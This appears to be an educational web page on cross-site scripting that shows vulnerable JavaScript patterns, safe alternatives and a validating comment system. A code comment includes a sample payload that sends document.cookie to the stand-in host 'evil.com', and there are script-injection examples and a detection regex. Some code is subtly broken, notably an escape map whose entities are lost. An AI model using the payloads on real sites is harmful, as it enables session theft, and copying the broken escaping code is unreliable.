Building Your Learning Module...
Getting things ready for you!
Find videos you like?
Save to resource drawer for future reference!
XSS is a security vulnerability where attackers inject malicious scripts into web pages. When other users view these pages, the scripts execute in their browsers, potentially stealing data, hijacking sessions, or performing unauthorized actions.
Malicious script in URL/request immediately reflected in response
Malicious script stored in database, executed when data is displayed
Vulnerability in client-side JavaScript that processes user input unsafely
Directly inserting user input into innerHTML without sanitization
Reading URL parameters and displaying them without encoding
Executing user input as code
Dynamically setting event handlers with user input
// ❌ VULNERABLE: User input directly in innerHTML
function displayComment(comment) {
document.getElementById('comments').innerHTML += `
<div class="comment">${comment}</div>
`;
}
// Attacker can inject:
// <script>alert('XSS')</script>
// <img src=x onerror="fetch('evil.com?cookie='+document.cookie)">
// ❌ VULNERABLE: URL parameter displayed without encoding
const greeting = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${greeting}!`;
// Attacker URL:
// ?name=<script>alert('XSS')</script>
// ❌ VULNERABLE: eval() with user input
const userCode = prompt('Enter calculation:');
const result = eval(userCode); // Can execute ANY code!
// ❌ VULNERABLE: Dynamic script creation
const scriptTag = document.createElement('script');
scriptTag.textContent = userInput; // Dangerous!
document.body.appendChild(scriptTag);Encode special characters before displaying user input
Validate and sanitize user input on both client and server
HTTP header that restricts where scripts can load from
Modern frameworks have built-in XSS protection
// ✅ SAFE: Use textContent instead of innerHTML
function displayCommentSafe(comment) {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = comment; // Automatically escapes HTML
document.getElementById('comments').appendChild(div);
}
// ✅ SAFE: HTML encoding function
function escapeHTML(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
function displayGreeting(name) {
const safe = escapeHTML(name);
document.getElementById('greeting').innerHTML = `Hello, ${safe}!`;
}
// ✅ SAFE: DOMPurify library for sanitization
import DOMPurify from 'dompurify';
function displayRichContent(html) {
const clean = DOMPurify.sanitize(html);
element.innerHTML = clean; // Safe because sanitized
}
// ✅ SAFE: React auto-escapes
function CommentComponent({ comment }) {
return <div className="comment">{comment}</div>;
// React automatically escapes the comment
}
// ✅ SAFE: Avoid dangerous patterns
// Instead of eval():
const safeCalc = new Function('return ' + sanitizedExpression)();
// Better: use a safe expression parser library
import { evaluate } from 'mathjs';
const result = evaluate(userInput); // Only math expressions allowed// Comment system with XSS protection
class CommentSystem {
constructor(containerId) {
this.container = document.getElementById(containerId);
}
// ✅ Escape HTML entities
escapeHTML(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
// ✅ Validate input
validateComment(text) {
if (!text || text.trim().length === 0) {
throw new Error('Comment cannot be empty');
}
if (text.length > 1000) {
throw new Error('Comment too long');
}
// Check for suspicious patterns
const dangerous = /<script|javascript:|onerror=/i;
if (dangerous.test(text)) {
throw new Error('Invalid content detected');
}
return true;
}
// ✅ Safe display method
addComment(username, text) {
try {
this.validateComment(text);
// Create elements safely
const commentDiv = document.createElement('div');
commentDiv.className = 'comment';
const userSpan = document.createElement('span');
userSpan.className = 'username';
userSpan.textContent = this.escapeHTML(username); // Safe
const textSpan = document.createElement('span');
textSpan.className = 'text';
textSpan.textContent = this.escapeHTML(text); // Safe
const timeSpan = document.createElement('span');
timeSpan.className = 'time';
timeSpan.textContent = new Date().toLocaleString();
commentDiv.appendChild(userSpan);
commentDiv.appendChild(textSpan);
commentDiv.appendChild(timeSpan);
this.container.appendChild(commentDiv);
} catch (error) {
console.error('Failed to add comment:', error.message);
alert('Comment rejected: ' + error.message);
}
}
}
// Usage
const comments = new CommentSystem('comments-container');
comments.addComment('Alice', 'Great article!'); // Safe
comments.addComment('Eve', '<script>alert("XSS")</script>'); // Blocked!Always encode, validate, and sanitize
Treat all input as potentially malicious
Prefer textContent over innerHTML
Automatically escapes HTML
Never use eval() or Function()
Don't use document.write()
Implement Content Security Policy
Use DOMPurify for sanitization